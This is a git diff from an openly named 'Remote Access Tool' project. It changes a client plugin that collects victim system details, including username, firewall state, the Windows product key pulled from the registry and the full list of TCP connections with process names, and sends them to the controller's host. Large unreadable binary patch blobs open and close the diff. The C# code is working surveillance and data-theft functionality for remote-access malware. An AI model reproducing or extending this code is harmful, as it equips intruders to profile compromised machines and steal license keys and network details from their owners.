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 amount) input = input.Remove(input.Length - amount); return input; } + #region "Network" + internal static string GetIpAddress(long ipAddrs) + { + string text; + try + { + text = new IPAddress(ipAddrs).ToString(); + } + catch + { + text = ipAddrs.ToString(); + } + return text; + } - internal static string GetWMIInformation(string askedInfo,string query = "SELECT * FROM Win32_OperatingSystem") + internal static ushort GetTcpPort(int tcpPort) + { + return Imports.ntohs((ushort)tcpPort); + } + #endregion + #region "Hardware" + internal static string GetWMIInformation(string askedInfo, string query = "SELECT * FROM Win32_OperatingSystem") { try { @@ -36,11 +57,11 @@ internal static string GetWMIInformation(string askedInfo,string query = "SELECT return (!string.IsNullOrEmpty(information)) ? information : "N/A"; } catch - {} + { } return "Unknown"; } - internal static string GetResolution() + internal static string GetResolution() { return GetWMIInformation("CurrentHorizontalResolution", "SELECT * FROM Win32_VideoController") + " x " + GetWMIInformation("CurrentVerticalResolution", "SELECT * FROM Win32_VideoController"); } @@ -69,6 +90,31 @@ internal static string GetGpuName() } } + + internal static string GetDebug() + { + try + { + string debugged = string.Empty; + string query = "SELECT * FROM Win32_OperatingSystem"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + debugged += mObject["Debug"].ToString() + "; "; + } + } + debugged = RemoveLastChars(debugged); + + return (!string.IsNullOrEmpty(debugged)) ? debugged : "N/A"; + } + catch + { + return "Unknown"; + } + } + internal static string GetBiosDescription() { try @@ -144,7 +190,7 @@ internal static string GetMainboardName() return "Unknown"; } - internal static string GetUserName() + internal static string GetUserName() { return Environment.UserName; } @@ -154,7 +200,7 @@ internal static string GetPcName() return Environment.MachineName; } - internal static AccountType GetUserType() + internal static AccountType GetUserType() { using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) { @@ -203,5 +249,6 @@ internal static string GetFirewall() return "Unknown"; } } + #endregion } } diff --git a/Remote Access Tool/Plugins/Information/Imports.cs b/Remote Access Tool/Plugins/Information/Imports.cs new file mode 100644 index 00000000..dc96abd6 --- /dev/null +++ b/Remote Access Tool/Plugins/Information/Imports.cs @@ -0,0 +1,75 @@ +using System; +using System.Runtime.InteropServices; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace Plugin +{ + internal class Imports + { + #region "Structures" + internal struct MIB_TCPROW_OWNER_PID + { + public ushort LocalPort + { + get + { + return BitConverter.ToUInt16(new byte[] { this.localPort2, this.localPort1 }, 0); + } + } + public ushort RemotePort + { + get + { + return BitConverter.ToUInt16(new byte[] { this.remotePort2, this.remotePort1 }, 0); + } + } + + public uint state; + public uint localAddr; + public byte localPort1; + public byte localPort2; + public byte localPort3; + public byte localPort4; + public uint remoteAddr; + public byte remotePort1; + public byte remotePort2; + public byte remotePort3; + public byte remotePort4; + public int owningPid; + } + + internal struct MIB_TCPTABLE_OWNER_PID + { + internal uint dwNumEntries; + + internal MIB_TCPROW_OWNER_PID table; + } + #endregion + #region "Enums" + + public enum TCP_TABLE_TYPE + { + TCP_TABLE_BASIC_LISTENER, + TCP_TABLE_BASIC_CONNECTIONS, + TCP_TABLE_BASIC_ALL, + TCP_TABLE_OWNER_PID_LISTENER, + TCP_TABLE_OWNER_PID_CONNECTIONS, + TCP_TABLE_OWNER_PID_ALL, + TCP_TABLE_OWNER_MODULE_LISTENER, + TCP_TABLE_OWNER_MODULE_CONNECTIONS, + TCP_TABLE_OWNER_MODULE_ALL + } + #endregion + #region "Functions" + [DllImport("Ws2_32.dll")] + internal static extern ushort ntohs(ushort netshort); + + [DllImport("iphlpapi.dll", SetLastError = true)] + internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, TCP_TABLE_TYPE tblClass, int reserved); + #endregion + } +} diff --git a/Remote Access Tool/Plugins/Information/Information.csproj b/Remote Access Tool/Plugins/Information/Information.csproj index b9f1d4af..dc0e4551 100644 --- a/Remote Access Tool/Plugins/Information/Information.csproj +++ b/Remote Access Tool/Plugins/Information/Information.csproj @@ -67,7 +67,9 @@ + + True diff --git a/Remote Access Tool/Plugins/Information/Launch.cs b/Remote Access Tool/Plugins/Information/Launch.cs index 68128824..8625328d 100644 --- a/Remote Access Tool/Plugins/Information/Launch.cs +++ b/Remote Access Tool/Plugins/Information/Launch.cs @@ -22,37 +22,47 @@ static Launch() public static void Main(LoadingAPI loadingAPI) { - switch (loadingAPI.currentPacket.packetType) + switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.MISC_INFORMATION: cpuInformation.Add("CPU", new List()); string s = HardwareInformation.CPUInformation(); cpuInformation["CPU"].Add(s); - InformationPacket informationPacket = new InformationPacket(cpuInformation, loadingAPI.baseIp, loadingAPI.HWID); + InformationPacket informationPacket = new InformationPacket(cpuInformation, loadingAPI.BaseIp, loadingAPI.HWID); - informationPacket.information.systemInformation.systemInformation = new Dictionary(); - informationPacket.information.systemInformation.systemInformation.Add("PC name", Helpers.GetPcName()); - informationPacket.information.systemInformation.systemInformation.Add("Username", Helpers.GetUserName()); - informationPacket.information.systemInformation.systemInformation.Add("Registered user", Helpers.GetWMIInformation("RegisteredUser")); - informationPacket.information.systemInformation.systemInformation.Add("Account type", Helpers.GetUserType().ToString()); - informationPacket.information.systemInformation.systemInformation.Add("Firewall", Helpers.GetFirewall()); + informationPacket.information.systemInformation.systemInformation = new Dictionary + { + { "PC name", Helpers.GetPcName() }, + { "Username", Helpers.GetUserName() }, + { "Registered user", Helpers.GetWMIInformation("RegisteredUser") }, + { "Account type", Helpers.GetUserType().ToString() }, + { "Firewall", Helpers.GetFirewall() }, - informationPacket.information.systemInformation.systemInformation.Add("System drive", Helpers.GetWMIInformation("SystemDrive")); - informationPacket.information.systemInformation.systemInformation.Add("System path", Helpers.GetWMIInformation("SystemDirectory")); - informationPacket.information.systemInformation.systemInformation.Add("OS architecture", Helpers.GetWMIInformation("OSArchitecture")); - informationPacket.information.systemInformation.systemInformation.Add("System version", Helpers.GetWMIInformation("Version")); - informationPacket.information.systemInformation.systemInformation.Add("OS type", Helpers.GetOsType()); - informationPacket.information.systemInformation.systemInformation.Add("OS manufacturer", Helpers.GetWMIInformation("Manufacturer")); - informationPacket.information.systemInformation.systemInformation.Add("OS name", Helpers.GetWMIInformation("Caption")); - informationPacket.information.systemInformation.systemInformation.Add("OS activation key", ActivationKey.GetWindowsProductKeyFromRegistry()); + { "System drive", Helpers.GetWMIInformation("SystemDrive") }, + { "System path", Helpers.GetWMIInformation("SystemDirectory") }, + { "OS architecture", Helpers.GetWMIInformation("OSArchitecture") }, + { "System version", Helpers.GetWMIInformation("Version") }, + { "OS type", Helpers.GetOsType() }, + { "OS manufacturer", Helpers.GetWMIInformation("Manufacturer") }, + { "OS name", Helpers.GetWMIInformation("Caption") }, + { "OS activation key", ActivationKey.GetWindowsProductKeyFromRegistry() }, + { "Debug", Helpers.GetDebug() } + }; - informationPacket.information.hardwareInformation.hardwareInformation = new Dictionary(); - informationPacket.information.hardwareInformation.hardwareInformation.Add("GPU", Helpers.GetGpuName()); - informationPacket.information.hardwareInformation.hardwareInformation.Add("Resolution", Helpers.GetResolution()); - informationPacket.information.hardwareInformation.hardwareInformation.Add("Motherboard", Helpers.GetMainboardName()); - informationPacket.information.hardwareInformation.hardwareInformation.Add("Bios", Helpers.GetBiosDescription()); + informationPacket.information.hardwareInformation.hardwareInformation = new Dictionary + { + { "GPU", Helpers.GetGpuName() }, + { "Resolution", Helpers.GetResolution() }, + { "Motherboard", Helpers.GetMainboardName() }, + { "Bios", Helpers.GetBiosDescription() } + }; - ClientSender(loadingAPI.host, loadingAPI.key, informationPacket); + ClientSender(loadingAPI.Host, loadingAPI.Key, informationPacket); + break; + + case PacketType.MISC_NETWORK_INFORMATION: + NetworkInformationPacket networkInformationPacket = new NetworkInformationPacket(NetworkInformation.AllTCPConnection(), loadingAPI.BaseIp, loadingAPI.HWID); + ClientSender(loadingAPI.Host, loadingAPI.Key, networkInformationPacket); break; default: diff --git a/Remote Access Tool/Plugins/Information/NetworkInformation.cs b/Remote Access Tool/Plugins/Information/NetworkInformation.cs new file mode 100644 index 00000000..87938e44 --- /dev/null +++ b/Remote Access Tool/Plugins/Information/NetworkInformation.cs @@ -0,0 +1,83 @@ +using PacketLib.Packet; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Runtime.InteropServices; +using static Plugin.Imports; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace Plugin +{ + internal class NetworkInformation + { + private static MIB_TCPROW_OWNER_PID[] GetAllTcpConnections() + { + int num = 2; + int num2 = 0; + uint num3 = GetExtendedTcpTable(IntPtr.Zero, ref num2, true, num, TCP_TABLE_TYPE.TCP_TABLE_OWNER_PID_ALL, 0); + if (num3 != 0U && num3 != 122U) + { + throw new Exception("Error occurred when trying to query tcp table, return code: " + num3.ToString()); + } + IntPtr intPtr = Marshal.AllocHGlobal(num2); + MIB_TCPROW_OWNER_PID[] array; + try + { + num3 = GetExtendedTcpTable(intPtr, ref num2, true, num, TCP_TABLE_TYPE.TCP_TABLE_OWNER_PID_ALL, 0); + if (num3 != 0U) + { + throw new Exception("Error occurred when trying to query tcp table, return code: " + num3.ToString()); + } + MIB_TCPTABLE_OWNER_PID mib_TCPTABLE_OWNER_PID = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(intPtr, typeof(MIB_TCPTABLE_OWNER_PID)); + IntPtr intPtr2 = (IntPtr)((long)intPtr + (long)Marshal.SizeOf(mib_TCPTABLE_OWNER_PID.dwNumEntries)); + array = new MIB_TCPROW_OWNER_PID[mib_TCPTABLE_OWNER_PID.dwNumEntries]; + int num4 = 0; + while ((long)num4 < (long)((ulong)mib_TCPTABLE_OWNER_PID.dwNumEntries)) + { + MIB_TCPROW_OWNER_PID mib_TCPROW_OWNER_PID = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(intPtr2, typeof(MIB_TCPROW_OWNER_PID)); + array[num4] = mib_TCPROW_OWNER_PID; + intPtr2 = (IntPtr)((long)intPtr2 + (long)Marshal.SizeOf(mib_TCPROW_OWNER_PID)); + num4++; + } + } + finally + { + Marshal.FreeHGlobal(intPtr); + } + return array; + } + public static List AllTCPConnection() + { + List ret = new List(); + try + { + + MIB_TCPROW_OWNER_PID[] allTcpConnections = GetAllTcpConnections(); + int num = allTcpConnections.Length; + for (int i = 0; i < num; i++) + { + MIB_TCPROW_OWNER_PID mib_TCPROW_OWNER_PID = allTcpConnections[i]; + string localEndPoint = string.Format("{0}:{1}", Helpers.GetIpAddress((long)((ulong)mib_TCPROW_OWNER_PID.localAddr)), mib_TCPROW_OWNER_PID.LocalPort); + string remoteEndPoint = string.Format("{0}:{1}", Helpers.GetIpAddress((long)((ulong)mib_TCPROW_OWNER_PID.remoteAddr)), mib_TCPROW_OWNER_PID.RemotePort); + + ret.Add(new TCPInformation() + { + PID = mib_TCPROW_OWNER_PID.owningPid, + LocalEndPoint = localEndPoint, + RemoteEndPoint = remoteEndPoint, + State = (TCPInformation.TCP_CONNECTION_STATE)mib_TCPROW_OWNER_PID.state, + processName = Process.GetProcessById(mib_TCPROW_OWNER_PID.owningPid).ProcessName + }); + } + } + catch + { + } + return ret; + } + } +} diff --git a/Remote Access Tool/Plugins/Information/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Information/Properties/AssemblyInfo.cs index 0eb14aed..f50f164d 100644 --- a/Remote Access Tool/Plugins/Information/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Plugins/Information/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Plugins/Information/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Information/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..d9d581db7bf0d1870559711f1dce5e8dd7438e3d GIT binary patch literal 31395 zcmZshcQ_nv`0wAm=|v<2iB%H4dl9RXrne}&I?-8{=$%9of-KQH(QVPKUJ_;XZk5#% zC0LdytCur!e%CqYkMqZT=6=54`@U!Q*~>gLV;a)0ztM%v?wv1d2q!;y{PHp4Ywthr zpD@0-%`bA#_xh)Ik3}9_y&C-P>VJ|sg%6&W=5U3Xj0^DWg@wb5CO{lSLTM4asK=|{ z?VNKNH?w~{E8n~nuF0g5R!S}-b|s3x}2H0AO7i|W`MB#iSL z8jls5s8DWL61lR&TI5ACed`SNr_^Trk=en8nU7tkGW(*2e^rcT5zqUoJU++wxD-*Iq(tR?e zy#NzERjE>p&U{pz6Y+Kug-6q(%xl(#vVUI6?sIv5cy5iR6-38g&)-TK8vhw2;ncPn zdf4TD{7@7eL1n*SoIF7JYJUIvnc(@N(Hj17M4dsg@48a!a7cTIDo6lKRT=$VAsb8u zXZ^{pVn5TpW~E!R%GM&@SbS0xSeuBg%W+gQNPl9G1Q}O`PhVa2NMF)0u>r-io5PI^ zznVsf=vbeLP;jVZr^A&x!ON~bG68lkFEV1Vf(eJjhNXN_gy zS~yyN+7=c=KjOF>$011Ss-!TUTlj1qAegQxc$e=R;vY~Wb|@9W0)Ml7r(Uqf_3GlI zjd#WlPP|XP3N}6yt1S`U&^FhS)83E92)_Pyt4EE$--FX6;WsjtGuKLw!;iT5Mu))o zhr=45&rw^=Pnz=oj^FvmgGWVx%0DMQAx70y%^j)qt^FhWx(Pd{Q=UV7rJf-%m>XS> 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 